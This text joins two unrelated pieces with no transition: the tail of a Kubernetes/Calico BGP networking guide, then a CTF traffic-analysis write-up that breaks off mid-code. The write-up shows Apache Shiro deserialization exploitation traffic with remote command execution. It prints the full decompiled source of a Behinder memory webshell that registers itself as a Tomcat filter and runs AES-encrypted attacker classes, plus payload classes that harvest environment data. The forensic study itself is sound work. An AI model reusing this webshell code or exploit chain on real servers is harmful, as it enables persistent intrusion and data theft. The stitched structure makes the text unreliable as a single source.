Gateway's BGP in the WDS node, and nodes outside China connect to the BGP of the Global Namespace: kubectl label nodes kubemaster region=WDS kubectl label nodes kubenode-wds-1 region=WDS kubectl label nodes kubenode-hkg04 region=Global Calico Configuration Create a YAML configuration file: apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-domestic spec: nodeSelector: region == 'Domestic' # This part is not actually used; I originally designed a general aggregation router in the Domestic area peerIP: 100.64.0.108 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-wds spec: nodeSelector: region == 'WDS' peerIP: 192.168.100.1 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-global spec: nodeSelector: region == 'Global' peerIP: 100.64.1.106 asNumber: 64512 This means: All nodes with label region equal to Domestic will have a BGP session to 100.64.0.108 (the domestic aggregation router) using AS 64512 All nodes with label region equal to WDS will have a BGP session to 192.168.100.1 (the Gateway for all VMs under the WDS node) using AS 64512 All nodes with label region equal to Global will have a BGP session to 100.64.1.106 (the overseas aggregation router) using AS 64512 This achieves what is shown in the diagram: all VMs under the WDS node, including the master and KubeNode-WDS1, connect to the Gateway aggregation router of the WDS node, and all nodes in overseas areas connect to the overseas aggregation router. Configure Aggregation Router iBGP This part is simply a matter of writing Bird configuration files (easy). Here are a few examples: k3s/ibgp.conf: function is_insider_as(){ if bgp_path.len > 0 && !(bgp_path ~ [= 64512 =]) then { return false; } if net ~ [ 10.42.0.0/16{16,32} ] then { return true; } return false; } template bgp k3sbackbone{ local as K3S_AS; router id INTRA_ROUTER_ID; neighbor as K3S_AS; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; extended next hop; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; template bgp k3speers{ local as K3S_AS; neighbor as K3S_AS; router id INTRA_ROUTER_ID; rr client; rr cluster id INTRA_ROUTER_ID; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; include "ibgpeers/*"; ibgpeers/backbone-cn.conf: protocol bgp 'k3s_backbone_cn_v4' from k3sbackbone{ neighbor fd18:3e15:61d0:cafe:f001::1; }; ibgpeers/master.conf: protocol bgp 'k3s_master_v4' from k3speers{ neighbor 192.168.100.251; }; Main points: it's best not to enable Route Reflector between the aggregation routers, and remember to enable next hop self. After everything is done, using kubectl get nodes should show all nodes as Ready: NAME STATUS ROLES AGE VERSION kubemaster Ready control-plane 2d23h v1.34.5+k3s1 kubenode-hkg04 Ready <none> 11h v1.34.6+k3s1 kubenode-wds-1 Ready <none> 2d7h v1.34.5+k3s1 Use kubectl get pods -A -o wide to view Pods: NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES calico-system calico-kube-controllers-64fc874957-6bdlz 1/1 Running 0 5h38m 10.42.253.136 kubenode-hkg04 <none> <none> calico-system calico-node-2qz82 1/1 Running 0 4h24m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-node-dhl2c 1/1 Running 0 4h24m 192.168.100.251 kubemaster <none> <none> calico-system calico-node-nbpkj 1/1 Running 0 4h23m 192.168.100.252 kubenode-wds-1 <none> <none> calico-system calico-typha-7bb5db4bdc-rfpwg 1/1 Running 0 5h38m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-typha-7bb5db4bdc-rwwr5 1/1 Running 0 5h38m 192.168.100.251 kubemaster <none> <none> calico-system csi-node-driver-jglwp 2/2 Running 0 5h38m 10.42.64.68 kubenode-wds-1 <none> <none> calico-system csi-node-driver-jqjsc 2/2 Running 0 5h38m 10.42.253.137 kubenode-hkg04 <none> <none> calico-system csi-node-driver-vk26s 2/2 Running 0 5h38m 10.42.141.16 kubemaster <none> <none> kube-system coredns-695cbbfcb9-8fx4p 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.14 kubemaster <none> <none> kube-system helm-install-traefik-crd-5bkwx 0/1 Completed 0 2d23h <none> kubemaster <none> <none> kube-system helm-install-traefik-m9fgj 0/1 Completed 1 2d23h <none> kubemaster <none> <none> kube-system local-path-provisioner-546dfc6456-dmn4g 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.15 kubemaster <none> <none> kube-system metrics-server-c8774f4f4-2wkwh 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.12 kubemaster <none> <none> kube-system svclb-traefik-999cddce-hpmcm 2/2 Running 6 (7h26m ago) 11h 10.42.253.134 kubenode-hkg04 <none> <none> kube-system svclb-traefik-999cddce-q4225 2/2 Running 2 (7h27m ago) 2d22h 10.42.141.9 kubemaster <none> <none> kube-system svclb-traefik-999cddce-xmd64 2/2 Running 2 (7h26m ago) 2d6h 10.42.64.66 kubenode-wds-1 <none> <none> kube-system traefik-788bc4688c-vbbhj 1/1 Running 1 (7h27m ago) 2d22h 10.42.141.13 kubemaster <none> <none> tigera-operator tigera-operator-6b95bbf4db-vl46l 1/1 Running 1 (7h27m ago) 2d23h 192.168.100.251 kubemaster <none> <none> Use kubectl exec -it -n calico-system <calico-node-xxxx> -- birdcl s p to check the status of Bird: root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p Defaulted container "calico-node" out of: calico-node, flexvol-driver (init), install-cni (init) BIRD v0.3.3+birdv1.6.8 ready. name proto table state since info static1 Static master up 08:58:17 kernel1 Kernel master up 08:58:17 device1 Device master up 08:58:17 direct1 Direct master up 08:58:17 Mesh_192_168_100_251 BGP master up 08:58:33 Established Mesh_192_168_100_252 BGP master up 08:59:00 Established Node_100_64_1_106 BGP master up 12:57:44 Established ip r shows the system routing table: root@KubeMaster:~/kube/calico# ip r default via 192.168.100.1 dev eth0 proto static 10.42.64.64/26 proto bird nexthop via 192.168.100.1 dev eth0 weight 1 nexthop via 192.168.100.252 dev eth0 weight 1 blackhole 10.42.141.0/26 proto bird 10.42.141.9 dev caliac6501d3794 scope link 10.42.141.12 dev calib07c23291bb scope link 10.42.141.13 dev caliab16e60bd19 scope link 10.42.141.14 dev calid5959219080 scope link 10.42.141.15 dev cali026d8f1ddb7 scope link 10.42.141.16 dev califa657ba417a scope link 10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251 Ping a Pod's IP – if everything is fine, it should work directly: root@KubeMaster:~/kube/calico# ping 10.42.253.137 PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data. 64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms 64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms ^C --- 10.42.253.137 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms Tune MTU This step is actually for stability…? Tests have shown that although my ZeroTier MTU is 1420, packets start to fragment around 1392 bytes (test with ping -M do -s <packet size> <Pod_IP>). Therefore, force the Pod MTU to 1370: root@KubeMaster:~/kube/calico# cat patch-mtu.yaml apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: calicoNetwork: mtu: 1370 nodeAddressAutodetectionV4: firstFound: true root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml installation.operator.tigera.io/default configured

2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Nothing particularly useful was found. Subsequently, a request was sent: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D The server responded: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- No further similar packets were observed, indicating a webshell was likely implanted. Layer 2: Behinder WebShell Memory-Shell Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded: {collapse} {collapse-item label="Code - Click to show"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter {     public HttpServletRequest request;     public HttpServletResponse response;     public String cs;     public String Pwd;     public String path;     public BehinderFilter() {         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public BehinderFilter(ClassLoader c) {         super(c);         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public Class g(byte[] b) {         return super.defineClass(b, 0, b.length);     }     public static String md5(String s) throws NoSuchAlgorithmException {         String ret = null;         try {             MessageDigest m = MessageDigest.getInstance("MD5");             m.update(s.getBytes(), 0, s.length());             ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);         } catch (Exception e) {         }         return ret;     }     public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {         parseObj(obj);         this.Pwd = md5(this.request.getHeader("p"));         this.path = this.request.getHeader("path");         StringBuffer output = new StringBuffer();         try {             this.response.setContentType("text/html");             this.request.setCharacterEncoding(this.cs);             this.response.setCharacterEncoding(this.cs);             output.append(addFilter());         } catch (Exception var7) {             output.append("ERROR:// " + var7.toString());         }         try {             this.response.getWriter().print("->|" + output.toString() + "|<-");             this.response.getWriter().flush();             this.response.getWriter().close();             return true;         } catch (Exception e) {             return true;         }     }     public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {         if (obj.getClass().isArray()) {             Object[] data = (Object[]) obj;             this.request = (HttpServletRequest) data[0];             this.response = (HttpServletResponse) data[1];             return;         }         try {             Class clazz = Class.forName("javax.servlet.jsp.PageContext");             this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);             this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);         } catch (Exception e) {             if (obj instanceof HttpServletRequest) {                 this.request = (HttpServletRequest) obj;                 try {                     Field req = this.request.getClass().getDeclaredField("request");                     req.setAccessible(true);                     HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);                     Field resp = request2.getClass().getDeclaredField("response");                     resp.setAccessible(true);                     this.response = (HttpServletResponse) resp.get(request2);                 } catch (Exception e2) {                     try {                         this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);                     } catch (Exception e3) {                     }                 }             }         }     }     public String addFilter() throws Exception {         Class filterMap;         ServletContext servletContext = this.request.getServletContext();         String filterName = this.path;         String url = this.path;         if (servletContext.getFilterRegistration(filterName) == null) {             StandardContext standardContext = null;             Field stateField = null;             try {                 try {                     Field contextField = servletContext.getClass().getDeclaredField("context");                     contextField.setAccessible(true);                     ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);                     Field contextField2 = applicationContext.getClass().getDeclaredField("context");                     contextField2.setAccessible(true);                     standardContext = (StandardContext) contextField2.get(applicationContext);                     stateField = LifecycleBase.class.getDeclaredField("state");                     stateField.setAccessible(true);                     stateField.set(standardContext, LifecycleState.STARTING_PREP);                     FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);                     filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});                     Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);                     filterStartMethod.setAccessible(true);                     filterStartMethod.invoke(standardContext, (Object[]) null);                     stateField.set(standardContext, LifecycleState.STARTED);                     try {                         filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                     } catch (Exception e) {                         filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");                     }                     Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);                     Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);                     for (int i = 0; i < filterMaps.length; i++) {                         Object filterMapObj = filterMaps[i];                         Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);                         String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);                         if (name.equalsIgnoreCase(filterName)) {                             filterMaps[i] = filterMaps[0];                             filterMaps[0] = filterMapObj;                         }                     }                     stateField.set(standardContext, LifecycleState.STARTED);                     return "Success";                 } catch (Exception var22) {                     String var11 = var22.getMessage();                     stateField.set(standardContext, LifecycleState.STARTED);                     return var11;                 }             } catch (Throwable th) {                 stateField.set(standardContext, LifecycleState.STARTED);                 throw th;             }         }         return "Filter already exists";     }     /* JADX WARN: Multi-variable type inference failed */     public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {         HttpSession session = ((HttpServletRequest) req).getSession();         ServletRequest servletRequestInvoke = req;         ServletResponse servletResponseInvoke = resp;         if (!(servletRequestInvoke instanceof RequestFacade)) {             try {                 Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);                 servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);                 while (!(servletRequestInvoke instanceof RequestFacade)) {                     servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);                 }             } catch (Exception e) {             }         }         try {             if (!(servletResponseInvoke instanceof ResponseFacade)) {                 Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);                 servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);                 while (!(servletResponseInvoke instanceof ResponseFacade)) {                     servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);                 }             }         } catch (Exception e2) {         }         Map obj = new HashMap();         obj.put("request", servletRequestInvoke);         obj.put("response", servletResponseInvoke);         obj.put("session", session);         try {             session.putValue("u", this.Pwd);             Cipher c = Cipher.getInstance("AES");             c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));             new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);         } catch (Exception var7) {             var7.printStackTrace();         }     }     public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     }     public void init(FilterConfig filterConfig) throws ServletException {     }     public void destroy() {     } } {/collapse-item} {/collapse} This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header. Opening it with Jadx: {collapse} {collapse-item label="Code - Click to show"} package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request: {collapse} {collapse-item label="Code - Click to show"} package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = 